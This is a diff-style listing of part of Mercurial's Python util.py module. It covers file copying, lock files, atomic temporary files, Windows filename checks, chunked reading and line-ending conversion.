243 env=env, cwd=cwd)
1740 else:
244 else:
1741 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
245 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1742 env=env, cwd=cwd, stdout=subprocess.PIPE,
246 env=env, cwd=cwd, stdout=subprocess.PIPE,
1743 stderr=subprocess.STDOUT)
247 stderr=subprocess.STDOUT)
1744 for line in iter(proc.stdout.readline, ''):
248 for line in iter(proc.stdout.readline, ''):
1745 out.write(line)
249 out.write(line)
1746 proc.wait()
250 proc.wait()
1747 rc = proc.returncode
251 rc = proc.returncode
1748 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
252 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1749 rc = 0
253 rc = 0
1750 return rc
254 return rc
1751
255
1752 def checksignature(func):
1753 '''wrap a function with code to check for calling errors'''
1754 def check(*args, **kwargs):
1755 try:
1756 return func(*args, **kwargs)
1757 except TypeError:
1758 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1759 raise error.SignatureError
1760 raise
1761
1762 return check
1763
1764 # a whilelist of known filesystems where hardlink works reliably
1765 _hardlinkfswhitelist = {
1766 'btrfs',
1767 'ext2',
1768 'ext3',
1769 'ext4',
1770 'hfs',
1771 'jfs',
1772 'NTFS',
1773 'reiserfs',
1774 'tmpfs',
1775 'ufs',
1776 'xfs',
1777 'zfs',
1778 }
1779
1780 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1781 '''copy a file, preserving mode and optionally other stat info like
1782 atime/mtime
1783
1784 checkambig argument is used with filestat, and is useful only if
1785 destination file is guarded by any lock (e.g. repo.lock or
1786 repo.wlock).
1787
1788 copystat and checkambig should be exclusive.
1789 '''
1790 assert not (copystat and checkambig)
1791 oldstat = None
1792 if os.path.lexists(dest):
1793 if checkambig:
1794 oldstat = checkambig and filestat.frompath(dest)
1795 unlink(dest)
1796 if hardlink:
1797 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1798 # unless we are confident that dest is on a whitelisted filesystem.
1799 try:
1800 fstype = getfstype(os.path.dirname(dest))
1801 except OSError:
1802 fstype = None
1803 if fstype not in _hardlinkfswhitelist:
1804 hardlink = False
1805 if hardlink:
1806 try:
1807 oslink(src, dest)
1808 return
1809 except (IOError, OSError):
1810 pass # fall back to normal copy
1811 if os.path.islink(src):
1812 os.symlink(os.readlink(src), dest)
1813 # copytime is ignored for symlinks, but in general copytime isn't needed
1814 # for them anyway
1815 else:
1816 try:
1817 shutil.copyfile(src, dest)
1818 if copystat:
1819 # copystat also copies mode
1820 shutil.copystat(src, dest)
1821 else:
1822 shutil.copymode(src, dest)
1823 if oldstat and oldstat.stat:
1824 newstat = filestat.frompath(dest)
1825 if newstat.isambig(oldstat):
1826 # stat of copied file is ambiguous to original one
1827 advanced = (
1828 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1829 os.utime(dest, (advanced, advanced))
1830 except shutil.Error as inst:
1831 raise error.Abort(str(inst))
1832
1833 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1834 """Copy a directory tree using hardlinks if possible."""
1835 num = 0
1836
1837 gettopic = lambda: hardlink and _('linking') or _('copying')
1838
1839 if os.path.isdir(src):
1840 if hardlink is None:
1841 hardlink = (os.stat(src).st_dev ==
1842 os.stat(os.path.dirname(dst)).st_dev)
1843 topic = gettopic()
1844 os.mkdir(dst)
1845 for name, kind in listdir(src):
1846 srcname = os.path.join(src, name)
1847 dstname = os.path.join(dst, name)
1848 def nprog(t, pos):
1849 if pos is not None:
1850 return progress(t, pos + num)
1851 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1852 num += n
1853 else:
1854 if hardlink is None:
1855 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1856 os.stat(os.path.dirname(dst)).st_dev)
1857 topic = gettopic()
1858
1859 if hardlink:
1860 try:
1861 oslink(src, dst)
1862 except (IOError, OSError):
1863 hardlink = False
1864 shutil.copy(src, dst)
1865 else:
1866 shutil.copy(src, dst)
1867 num += 1
1868 progress(topic, num)
1869 progress(topic, None)
1870
1871 return hardlink, num
1872
1873 _winreservednames = {
1874 'con', 'prn', 'aux', 'nul',
1875 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1876 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1877 }
1878 _winreservedchars = ':*?"<>|'
1879 def checkwinfilename(path):
1880 r'''Check that the base-relative path is a valid filename on Windows.
1881 Returns None if the path is ok, or a UI string describing the problem.
1882
1883 >>> checkwinfilename(b"just/a/normal/path")
1884 >>> checkwinfilename(b"foo/bar/con.xml")
1885 "filename contains 'con', which is reserved on Windows"
1886 >>> checkwinfilename(b"foo/con.xml/bar")
1887 "filename contains 'con', which is reserved on Windows"
1888 >>> checkwinfilename(b"foo/bar/xml.con")
1889 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1890 "filename contains 'AUX', which is reserved on Windows"
1891 >>> checkwinfilename(b"foo/bar/bla:.txt")
1892 "filename contains ':', which is reserved on Windows"
1893 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1894 "filename contains '\\x07', which is invalid on Windows"
1895 >>> checkwinfilename(b"foo/bar/bla ")
1896 "filename ends with ' ', which is not allowed on Windows"
1897 >>> checkwinfilename(b"../bar")
1898 >>> checkwinfilename(b"foo\\")
1899 "filename ends with '\\', which is invalid on Windows"
1900 >>> checkwinfilename(b"foo\\/bar")
1901 "directory name ends with '\\', which is invalid on Windows"
1902 '''
1903 if path.endswith('\\'):
1904 return _("filename ends with '\\', which is invalid on Windows")
1905 if '\\/' in path:
1906 return _("directory name ends with '\\', which is invalid on Windows")
1907 for n in path.replace('\\', '/').split('/'):
1908 if not n:
1909 continue
1910 for c in _filenamebytestr(n):
1911 if c in _winreservedchars:
1912 return _("filename contains '%s', which is reserved "
1913 "on Windows") % c
1914 if ord(c) <= 31:
1915 return _("filename contains '%s', which is invalid "
1916 "on Windows") % stringutil.escapestr(c)
1917 base = n.split('.')[0]
1918 if base and base.lower() in _winreservednames:
1919 return _("filename contains '%s', which is reserved "
1920 "on Windows") % base
1921 t = n[-1:]
1922 if t in '. ' and n not in '..':
1923 return _("filename ends with '%s', which is not allowed "
1924 "on Windows") % t
1925
1926 if pycompat.iswindows:
1927 checkosfilename = checkwinfilename
1928 timer = time.clock
1929 else:
1930 checkosfilename = platform.checkosfilename
1931 timer = time.time
1932
1933 if safehasattr(time, "perf_counter"):
1934 timer = time.perf_counter
1935
1936 def makelock(info, pathname):
1937 """Create a lock file atomically if possible
1938
1939 This may leave a stale lock file if symlink isn't supported and signal
1940 interrupt is enabled.
1941 """
1942 try:
1943 return os.symlink(info, pathname)
1944 except OSError as why:
1945 if why.errno == errno.EEXIST:
1946 raise
1947 except AttributeError: # no symlink in os
1948 pass
1949
1950 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1951 ld = os.open(pathname, flags)
1952 os.write(ld, info)
1953 os.close(ld)
1954
1955 def readlock(pathname):
1956 try:
1957 return os.readlink(pathname)
1958 except OSError as why:
1959 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1960 raise
1961 except AttributeError: # no symlink in os
1962 pass
1963 fp = posixfile(pathname, 'rb')
1964 r = fp.read()
1965 fp.close()
1966 return r
1967
1968 def fstat(fp):
1969 '''stat file object that may not have fileno method.'''
1970 try:
1971 return os.fstat(fp.fileno())
1972 except AttributeError:
1973 return os.stat(fp.name)
1974
1975 # File system features
1976
1977 def fscasesensitive(path):
1978 """
1979 Return true if the given path is on a case-sensitive filesystem
1980
1981 Requires a path (like /foo/.hg) ending with a foldable final
1982 directory component.
1983 """
1984 s1 = os.lstat(path)
1985 d, b = os.path.split(path)
1986 b2 = b.upper()
1987 if b == b2:
1988 b2 = b.lower()
1989 if b == b2:
1990 return True # no evidence against case sensitivity
1991 p2 = os.path.join(d, b2)
1992 try:
1993 s2 = os.lstat(p2)
1994 if s2 == s1:
1995 return False
1996 return True
1997 except OSError:
1998 return True
1999
2000 try:
2001 import re2
2002 _re2 = None
2003 except ImportError:
2004 _re2 = False
2005
2006 class _re(object):
2007 def _checkre2(self):
2008 global _re2
2009 try:
2010 # check if match works, see issue3964
2011 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2012 except ImportError:
2013 _re2 = False
2014
2015 def compile(self, pat, flags=0):
2016 '''Compile a regular expression, using re2 if possible
2017
2018 For best performance, use only re2-compatible regexp features. The
2019 only flags from the re module that are re2-compatible are
2020 IGNORECASE and MULTILINE.'''
2021 if _re2 is None:
2022 self._checkre2()
2023 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2024 if flags & remod.IGNORECASE:
2025 pat = '(?i)' + pat
2026 if flags & remod.MULTILINE:
2027 pat = '(?m)' + pat
2028 try:
2029 return re2.compile(pat)
2030 except re2.error:
2031 pass
2032 return remod.compile(pat, flags)
2033
2034 @propertycache
2035 def escape(self):
2036 '''Return the version of escape corresponding to self.compile.
2037
2038 This is imperfect because whether re2 or re is used for a particular
2039 function depends on the flags, etc, but it's the best we can do.
2040 '''
2041 global _re2
2042 if _re2 is None:
2043 self._checkre2()
2044 if _re2:
2045 return re2.escape
2046 else:
2047 return remod.escape
2048
2049 re = _re()
2050
2051 _fspathcache = {}
2052 def fspath(name, root):
2053 '''Get name in the case stored in the filesystem
2054
2055 The name should be relative to root, and be normcase-ed for efficiency.
2056
2057 Note that this function is unnecessary, and should not be
2058 called, for case-sensitive filesystems (simply because it's expensive).
2059
2060 The root should be normcase-ed, too.
2061 '''
2062 def _makefspathcacheentry(dir):
2063 return dict((normcase(n), n) for n in os.listdir(dir))
2064
2065 seps = pycompat.ossep
2066 if pycompat.osaltsep:
2067 seps = seps + pycompat.osaltsep
2068 # Protect backslashes. This gets silly very quickly.
2069 seps.replace('\\','\\\\')
2070 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2071 dir = os.path.normpath(root)
2072 result = []
2073 for part, sep in pattern.findall(name):
2074 if sep:
2075 result.append(sep)
2076 continue
2077
2078 if dir not in _fspathcache:
2079 _fspathcache[dir] = _makefspathcacheentry(dir)
2080 contents = _fspathcache[dir]
2081
2082 found = contents.get(part)
2083 if not found:
2084 # retry "once per directory" per "dirstate.walk" which
2085 # may take place for each patches of "hg qpush", for example
2086 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2087 found = contents.get(part)
2088
2089 result.append(found or part)
2090 dir = os.path.join(dir, part)
2091
2092 return ''.join(result)
2093
2094 def checknlink(testfile):
2095 '''check whether hardlink count reporting works properly'''
2096
2097 # testfile may be open, so we need a separate file for checking to
2098 # work around issue2543 (or testfile may get lost on Samba shares)
2099 f1, f2, fp = None, None, None
2100 try:
2101 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2102 suffix='1~', dir=os.path.dirname(testfile))
2103 os.close(fd)
2104 f2 = '%s2~' % f1[:-2]
2105
2106 oslink(f1, f2)
2107 # nlinks() may behave differently for files on Windows shares if
2108 # the file is open.
2109 fp = posixfile(f2)
2110 return nlinks(f2) > 1
2111 except OSError:
2112 return False
2113 finally:
2114 if fp is not None:
2115 fp.close()
2116 for f in (f1, f2):
2117 try:
2118 if f is not None:
2119 os.unlink(f)
2120 except OSError:
2121 pass
2122
2123 def endswithsep(path):
2124 '''Check path ends with os.sep or os.altsep.'''
2125 return (path.endswith(pycompat.ossep)
2126 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2127
2128 def splitpath(path):
2129 '''Split path by os.sep.
2130 Note that this function does not use os.altsep because this is
2131 an alternative of simple "xxx.split(os.sep)".
2132 It is recommended to use os.path.normpath() before using this
2133 function if need.'''
2134 return path.split(pycompat.ossep)
2135
2136 def gui():
256 def gui():
2137 '''Are we running in a GUI?'''
257 '''Are we running in a GUI?'''
2138 if pycompat.isdarwin:
258 if pycompat.isdarwin:
2139 if 'SSH_CONNECTION' in encoding.environ:
259 if 'SSH_CONNECTION' in encoding.environ:
2140 # handle SSH access to a box where the user is logged in
260 # handle SSH access to a box where the user is logged in
2141 return False
261 return False
2142 elif getattr(osutil, 'isgui', None):
262 elif getattr(osutil, 'isgui', None):
2143 # check if a CoreGraphics session is available
263 # check if a CoreGraphics session is available
2144 return osutil.isgui()
264 return osutil.isgui()
2145 else:
265 else:
2146 # pure build; use a safe default
266 # pure build; use a safe default
2147 return True
267 return True
2148 else:
268 else:
2149 return pycompat.iswindows or encoding.environ.get("DISPLAY")
269 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2150
270
2151 def mktempcopy(name, emptyok=False, createmode=None):
2152 """Create a temporary file with the same contents from name
2153
2154 The permission bits are copied from the original file.
2155
2156 If the temporary file is going to be truncated immediately, you
2157 can use emptyok=True as an optimization.
2158
2159 Returns the name of the temporary file.
2160 """
2161 d, fn = os.path.split(name)
2162 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2163 os.close(fd)
2164 # Temporary files are created with mode 0600, which is usually not
2165 # what we want. If the original file already exists, just copy
2166 # its mode. Otherwise, manually obey umask.
2167 copymode(name, temp, createmode)
2168 if emptyok:
2169 return temp
2170 try:
2171 try:
2172 ifp = posixfile(name, "rb")
2173 except IOError as inst:
2174 if inst.errno == errno.ENOENT:
2175 return temp
2176 if not getattr(inst, 'filename', None):
2177 inst.filename = name
2178 raise
2179 ofp = posixfile(temp, "wb")
2180 for chunk in filechunkiter(ifp):
2181 ofp.write(chunk)
2182 ifp.close()
2183 ofp.close()
2184 except: # re-raises
2185 try:
2186 os.unlink(temp)
2187 except OSError:
2188 pass
2189 raise
2190 return temp
2191
2192 class filestat(object):
2193 """help to exactly detect change of a file
2194
2195 'stat' attribute is result of 'os.stat()' if specified 'path'
2196 exists. Otherwise, it is None. This can avoid preparative
2197 'exists()' examination on client side of this class.
2198 """
2199 def __init__(self, stat):
2200 self.stat = stat
2201
2202 @classmethod
2203 def frompath(cls, path):
2204 try:
2205 stat = os.stat(path)
2206 except OSError as err:
2207 if err.errno != errno.ENOENT:
2208 raise
2209 stat = None
2210 return cls(stat)
2211
2212 @classmethod
2213 def fromfp(cls, fp):
2214 stat = os.fstat(fp.fileno())
2215 return cls(stat)
2216
2217 __hash__ = object.__hash__
2218
2219 def __eq__(self, old):
2220 try:
2221 # if ambiguity between stat of new and old file is
2222 # avoided, comparison of size, ctime and mtime is enough
2223 # to exactly detect change of a file regardless of platform
2224 return (self.stat.st_size == old.stat.st_size and
2225 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2226 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2227 except AttributeError:
2228 pass
2229 try:
2230 return self.stat is None and old.stat is None
2231 except AttributeError:
2232 return False
2233
2234 def isambig(self, old):
2235 """Examine whether new (= self) stat is ambiguous against old one
2236
2237 "S[N]" below means stat of a file at N-th change:
2238
2239 - S[n-1].ctime < S[n].ctime: can detect change of a file
2240 - S[n-1].ctime == S[n].ctime
2241 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2242 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2243 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2244 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2245
2246 Case (*2) above means that a file was changed twice or more at
2247 same time in sec (= S[n-1].ctime), and comparison of timestamp
2248 is ambiguous.
2249
2250 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2251 timestamp is ambiguous".
2252
2253 But advancing mtime only in case (*2) doesn't work as
2254 expected, because naturally advanced S[n].mtime in case (*1)
2255 might be equal to manually advanced S[n-1 or earlier].mtime.
2256
2257 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2258 treated as ambiguous regardless of mtime, to avoid overlooking
2259 by confliction between such mtime.
2260
2261 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2262 S[n].mtime", even if size of a file isn't changed.
2263 """
2264 try:
2265 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2266 except AttributeError:
2267 return False
2268
2269 def avoidambig(self, path, old):
2270 """Change file stat of specified path to avoid ambiguity
2271
2272 'old' should be previous filestat of 'path'.
2273
2274 This skips avoiding ambiguity, if a process doesn't have
2275 appropriate privileges for 'path'. This returns False in this
2276 case.
2277
2278 Otherwise, this returns True, as "ambiguity is avoided".
2279 """
2280 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2281 try:
2282 os.utime(path, (advanced, advanced))
2283 except OSError as inst:
2284 if inst.errno == errno.EPERM:
2285 # utime() on the file created by another user causes EPERM,
2286 # if a process doesn't have appropriate privileges
2287 return False
2288 raise
2289 return True
2290
2291 def __ne__(self, other):
2292 return not self == other
2293
2294 class atomictempfile(object):
2295 '''writable file object that atomically updates a file
2296
2297 All writes will go to a temporary copy of the original file. Call
2298 close() when you are done writing, and atomictempfile will rename
2299 the temporary copy to the original name, making the changes
2300 visible. If the object is destroyed without being closed, all your
2301 writes are discarded.
2302
2303 checkambig argument of constructor is used with filestat, and is
2304 useful only if target file is guarded by any lock (e.g. repo.lock
2305 or repo.wlock).
2306 '''
2307 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2308 self.__name = name # permanent name
2309 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2310 createmode=createmode)
2311 self._fp = posixfile(self._tempname, mode)
2312 self._checkambig = checkambig
2313
2314 # delegated methods
2315 self.read = self._fp.read
2316 self.write = self._fp.write
2317 self.seek = self._fp.seek
2318 self.tell = self._fp.tell
2319 self.fileno = self._fp.fileno
2320
2321 def close(self):
2322 if not self._fp.closed:
2323 self._fp.close()
2324 filename = localpath(self.__name)
2325 oldstat = self._checkambig and filestat.frompath(filename)
2326 if oldstat and oldstat.stat:
2327 rename(self._tempname, filename)
2328 newstat = filestat.frompath(filename)
2329 if newstat.isambig(oldstat):
2330 # stat of changed file is ambiguous to original one
2331 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2332 os.utime(filename, (advanced, advanced))
2333 else:
2334 rename(self._tempname, filename)
2335
2336 def discard(self):
2337 if not self._fp.closed:
2338 try:
2339 os.unlink(self._tempname)
2340 except OSError:
2341 pass
2342 self._fp.close()
2343
2344 def __del__(self):
2345 if safehasattr(self, '_fp'): # constructor actually did something
2346 self.discard()
2347
2348 def __enter__(self):
2349 return self
2350
2351 def __exit__(self, exctype, excvalue, traceback):
2352 if exctype is not None:
2353 self.discard()
2354 else:
2355 self.close()
2356
2357 def unlinkpath(f, ignoremissing=False):
2358 """unlink and remove the directory if it is empty"""
2359 if ignoremissing:
2360 tryunlink(f)
2361 else:
2362 unlink(f)
2363 # try removing directories that might now be empty
2364 try:
2365 removedirs(os.path.dirname(f))
2366 except OSError:
2367 pass
2368
2369 def tryunlink(f):
2370 """Attempt to remove a file, ignoring ENOENT errors."""
2371 try:
2372 unlink(f)
2373 except OSError as e:
2374 if e.errno != errno.ENOENT:
2375 raise
2376
2377 def makedirs(name, mode=None, notindexed=False):
2378 """recursive directory creation with parent mode inheritance
2379
2380 Newly created directories are marked as "not to be indexed by
2381 the content indexing service", if ``notindexed`` is specified
2382 for "write" mode access.
2383 """
2384 try:
2385 makedir(name, notindexed)
2386 except OSError as err:
2387 if err.errno == errno.EEXIST:
2388 return
2389 if err.errno != errno.ENOENT or not name:
2390 raise
2391 parent = os.path.dirname(os.path.abspath(name))
2392 if parent == name:
2393 raise
2394 makedirs(parent, mode, notindexed)
2395 try:
2396 makedir(name, notindexed)
2397 except OSError as err:
2398 # Catch EEXIST to handle races
2399 if err.errno == errno.EEXIST:
2400 return
2401 raise
2402 if mode is not None:
2403 os.chmod(name, mode)
2404
2405 def readfile(path):
2406 with open(path, 'rb') as fp:
2407 return fp.read()
2408
2409 def writefile(path, text):
2410 with open(path, 'wb') as fp:
2411 fp.write(text)
2412
2413 def appendfile(path, text):
2414 with open(path, 'ab') as fp:
2415 fp.write(text)
2416
2417 class chunkbuffer(object):
2418 """Allow arbitrary sized chunks of data to be efficiently read from an
2419 iterator over chunks of arbitrary size."""
2420
2421 def __init__(self, in_iter):
2422 """in_iter is the iterator that's iterating over the input chunks."""
2423 def splitbig(chunks):
2424 for chunk in chunks:
2425 if len(chunk) > 2**20:
2426 pos = 0
2427 while pos < len(chunk):
2428 end = pos + 2 ** 18
2429 yield chunk[pos:end]
2430 pos = end
2431 else:
2432 yield chunk
2433 self.iter = splitbig(in_iter)
2434 self._queue = collections.deque()
2435 self._chunkoffset = 0
2436
2437 def read(self, l=None):
2438 """Read L bytes of data from the iterator of chunks of data.
2439 Returns less than L bytes if the iterator runs dry.
2440
2441 If size parameter is omitted, read everything"""
2442 if l is None:
2443 return ''.join(self.iter)
2444
2445 left = l
2446 buf = []
2447 queue = self._queue
2448 while left > 0:
2449 # refill the queue
2450 if not queue:
2451 target = 2**18
2452 for chunk in self.iter:
2453 queue.append(chunk)
2454 target -= len(chunk)
2455 if target <= 0:
2456 break
2457 if not queue:
2458 break
2459
2460 # The easy way to do this would be to queue.popleft(), modify the
2461 # chunk (if necessary), then queue.appendleft(). However, for cases
2462 # where we read partial chunk content, this incurs 2 dequeue
2463 # mutations and creates a new str for the remaining chunk in the
2464 # queue. Our code below avoids this overhead.
2465
2466 chunk = queue[0]
2467 chunkl = len(chunk)
2468 offset = self._chunkoffset
2469
2470 # Use full chunk.
2471 if offset == 0 and left >= chunkl:
2472 left -= chunkl
2473 queue.popleft()
2474 buf.append(chunk)
2475 # self._chunkoffset remains at 0.
2476 continue
2477
2478 chunkremaining = chunkl - offset
2479
2480 # Use all of unconsumed part of chunk.
2481 if left >= chunkremaining:
2482 left -= chunkremaining
2483 queue.popleft()
2484 # offset == 0 is enabled by block above, so this won't merely
2485 # copy via ``chunk[0:]``.
2486 buf.append(chunk[offset:])
2487 self._chunkoffset = 0
2488
2489 # Partial chunk needed.
2490 else:
2491 buf.append(chunk[offset:offset + left])
2492 self._chunkoffset += left
2493 left -= chunkremaining
2494
2495 return ''.join(buf)
2496
2497 def filechunkiter(f, size=131072, limit=None):
2498 """Create a generator that produces the data in the file size
2499 (default 131072) bytes at a time, up to optional limit (default is
2500 to read all data). Chunks may be less than size bytes if the
2501 chunk is the last chunk in the file, or the file is a socket or
2502 some other type of file that sometimes reads less data than is
2503 requested."""
2504 assert size >= 0
2505 assert limit is None or limit >= 0
2506 while True:
2507 if limit is None:
2508 nbytes = size
2509 else:
2510 nbytes = min(limit, size)
2511 s = nbytes and f.read(nbytes)
2512 if not s:
2513 break
2514 if limit:
2515 limit -= len(s)
2516 yield s
2517
2518 class cappedreader(object):
2519 """A file object proxy that allows reading up to N bytes.
2520
2521 Given a source file object, instances of this type allow reading up to
2522 N bytes from that source file object. Attempts to read past the allowed
2523 limit are treated as EOF.
2524
2525 It is assumed that I/O is not performed on the original file object
2526 in addition to I/O that is performed by this instance. If there is,
2527 state tracking will get out of sync and unexpected results will ensue.
2528 """
2529 def __init__(self, fh, limit):
2530 """Allow reading up to <limit> bytes from <fh>."""
2531 self._fh = fh
2532 self._left = limit
2533
2534 def read(self, n=-1):
2535 if not self._left:
2536 return b''
2537
2538 if n < 0:
2539 n = self._left
2540
2541 data = self._fh.read(min(n, self._left))
2542 self._left -= len(data)
2543 assert self._left >= 0
2544
2545 return data
2546
2547 def readinto(self, b):
2548 res = self.read(len(b))
2549 if res is None:
2550 return None
2551
2552 b[0:len(res)] = res
2553 return len(res)
2554
2555 def unitcountfn(*unittable):
2556 '''return a function that renders a readable count of some quantity'''
2557
2558 def go(count):
2559 for multiplier, divisor, format in unittable:
2560 if abs(count) >= divisor * multiplier:
2561 return format % (count / float(divisor))
2562 return unittable[-1][2] % count
2563
2564 return go
2565
2566 def processlinerange(fromline, toline):
2567 """Check that linerange <fromline>:<toline> makes sense and return a
2568 0-based range.
2569
2570 >>> processlinerange(10, 20)
2571 (9, 20)
2572 >>> processlinerange(2, 1)
2573 Traceback (most recent call last):
2574 ...
2575 ParseError: line range must be positive
2576 >>> processlinerange(0, 5)
2577 Traceback (most recent call last):
2578 ...
2579 ParseError: fromline must be strictly positive
2580 """
2581 if toline - fromline < 0:
2582 raise error.ParseError(_("line range must be positive"))
2583 if fromline < 1:
2584 raise error.ParseError(_("fromline must be strictly positive"))
2585 return fromline - 1, toline
2586
2587 bytecount = unitcountfn(
2588 (100, 1 << 30, _('%.0f GB')),
2589 (10, 1 << 30, _('%.1f GB')),
2590 (1, 1 << 30, _('%.2f GB')),
2591 (100, 1 << 20, _('%.0f MB')),
2592 (10, 1 << 20, _('%.1f MB')),
2593 (1, 1 << 20, _('%.2f MB')),
2594 (100, 1 << 10, _('%.0f KB')),
2595 (10, 1 << 10, _('%.1f KB')),
2596 (1, 1 << 10, _('%.2f KB')),
2597 (1, 1, _('%.0f bytes')),
2598 )
2599
2600 class transformingwriter(object):
2601 """Writable file wrapper to transform data by function"""
2602
2603 def __init__(self, fp, encode):
2604 self._fp = fp
2605 self._encode = encode
2606
2607 def close(self):
2608 self._fp.close()
2609
2610 def flush(self):
2611 self._fp.flush()
2612
2613 def write(self, data):
2614 return self._fp.write(self._encode(data))
2615
2616 # Matches a single EOL which can either be a CRLF where repeated CR
2617 # are removed or a LF. We do not care about old Macintosh files, so a
2618 # stray CR is an error.
2619 _eolre = remod.compile(br'\r*\n')
2620
2621 def tolf(s):
2622 return _eolre.sub('\n', s)
2623
2624 def tocrlf(s):
2625 return _eolre.sub('\r\n', s)
2626
2627 def _crlfwriter(fp):
2628 return transformingwriter(fp, tocrlf)
2629
2630 if pycompat.oslinesep == '\r\n':
2631 tonativeeol = tocrlf
2632 fromnativeeol = tolf
2633 nativeeolwriter = _crlfwriter
2634 else:
2635 tonativeeol = pycompat.identity
2636 fromnativeeol = pycompat.identity
2637 nativeeolwriter = pycompat.identity
2638
2639 if (pyplatform.python_implementation() == 'CPython' and
2640 sys.version_info < (3, 0)):
2641 # There is an issue in CPython that some IO methods do not handle EINTR
2642 # correctly. The following table shows what CPython version (and functions)
2643 # are affected (buggy: has the EINTR bug, okay: otherwise):
2644 #
2645 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2646 # --------------------------------------------------
2647 # fp.__iter__ | buggy | buggy | okay
2648 # fp.read* | buggy | okay [1] | okay
2649 #
2650 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2651 #
2652 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2653 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2654 #
2655 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2656 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2657 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2658 # fp.__iter__ but not other fp.read* methods.
2659 #
2660 # On modern systems like Linux, the "read" syscall cannot be interrupted
2661 # when reading "fast" files like on-disk files. So the EINTR issue only
2662 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2663 # files approximately as "fast" files and use the fast (unsafe) code path,
2664 # to minimize the performance impact.
2665 if sys.version_info >= (2, 7, 4):
2666 # fp.readline deals with EINTR correctly, use it as a workaround.
2667 def _safeiterfile(fp):
2668 return iter(fp.readline, '')
2669 else:
2670 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2671 # note: this may block longer than necessary because of bufsize.
2672 def _safeiterfile(fp, bufsize=4096):
2673 fd = fp.fileno()
2674 line = ''
2675 while True:
2676 try:
2677 buf = os.read(fd, bufsize)
2678 except OSError as ex:
2679 # os.read only raises EINTR before any data is read
2680 if ex.errno == errno.EINTR:
2681 continue
2682 else:
2683 raise
2684 line += buf
2685 if '\n' in buf:
2686 splitted = line.splitlines(True)
2687 line = ''
2688 for l in splitted:
2689 if l[-1] == '\n':
2690 yield l
2691 else:
2692 line = l
2693 if not buf:
2694 break
2695 if line:
2696 yield line
2697
2698 def iterfile(fp):
2699 fastpath = True
2700 if type(fp) is file:
2701 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2702 if fastpath:
2703 return fp
2704 else:
2705 return _safeiterfile(fp)
2706 else:
2707 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2708 def iterfile(fp):
2709 return fp
2710
2711 def iterlines(iterator):
2712 for chunk in iterator:
2713 for line in chunk.splitlines():
2714 yield line
2715
2716 def expandpath(path):
2717 return os.path.expanduser(os.path.expandvars(path))
2718
2719 def hgcmd():
271 def hgcmd():
2720 """Return the command used to execute current hg
272 """Return the command used to execute current hg
2721
273
2722 This is different from hgexecutable() because on Windows we want
274 This is different from hgexecutable() because on Windows we want
2723 to avoid things opening new shell windows like batch files, so we
275 to avoid things opening new shell windows like batch files, so we
2724 get either the python call or current executable.
276 get either the python call or current executable.
2725 """
277 """
2726 if mainfrozen():
278 if mainfrozen():
2727 if getattr(sys, 'frozen', None) == 'macosx_app':
279 if getattr(sys, 'frozen', None) == 'macosx_app':
2728 # Env variable set by py2app
280 # Env variable set by py2app
2729 return [encoding.environ['EXECUTABLEPATH']]
281 return [encoding.environ['EXECUTABLEPATH']]
2730 else:
282 else:
2731 return [pycompat.sysexecutable]
283 return [pycompat.sysexecutable]
2732 return _gethgcmd()
284 return _gethgcmd()
2733
285
2734 def rundetached(args, condfn):
286 def rundetached(args, condfn):
2735 """Execute the argument list in a detached process.
287 """Execute the argument list in a detached process.
2736
288
2737 condfn is a callable which is called repeatedly and should return
289 condfn is a callable which is called repeatedly and should return
2738 True once the child process is known to have started successfully.
290 True once the child process is known to have started successfully.
